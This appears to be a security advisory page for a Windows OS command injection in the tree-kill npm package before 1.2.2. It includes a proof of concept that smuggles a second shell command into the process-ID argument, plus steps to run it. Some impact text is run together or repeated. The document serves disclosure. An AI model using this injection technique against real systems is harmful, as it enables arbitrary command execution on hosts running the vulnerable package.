PGV-22381P5 - Treekill Enables OS Command InjectionDisclosed on May 24, 2022 (updated May 11, 2026)
PGV-22381P5 is a category 4 vulnerabilty that affects tree-kill, versions < 1.2.2
The risk assessment shows that this vulnerability is exlpoited by a external attacker. An unauthorized external actor who attempts to exploit this vulnerability without legitimate access.
The impact is contained to the application. Exploitation remains confined to the application and cannot affect the host environment or external systems.
The threat damage is caused by a denial of service. Exploitation can completely deny access to the application, resulting in a full outage.is caused by a data breach. Exploitation can result in full access to data within the system.is caused by data tampering. Exploitation can result in modification of any data (authorized or not) within the system.
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Create the following PoC file:
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in terminal:
npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
The HACKED.txt has been created
| Network Exposure | External Accessable from the public internet |
| Access Interface | WebBrowser Primarily web-based applications |
| Service Outage | Disruptive Operations would be impacted |
| Data Breach | Disruptive Operations would be impacted |
| Data Tampering | Disruptive Operations would be impacted |
| Customize | |
v2.0.5 © 2026 Inedo, LLC
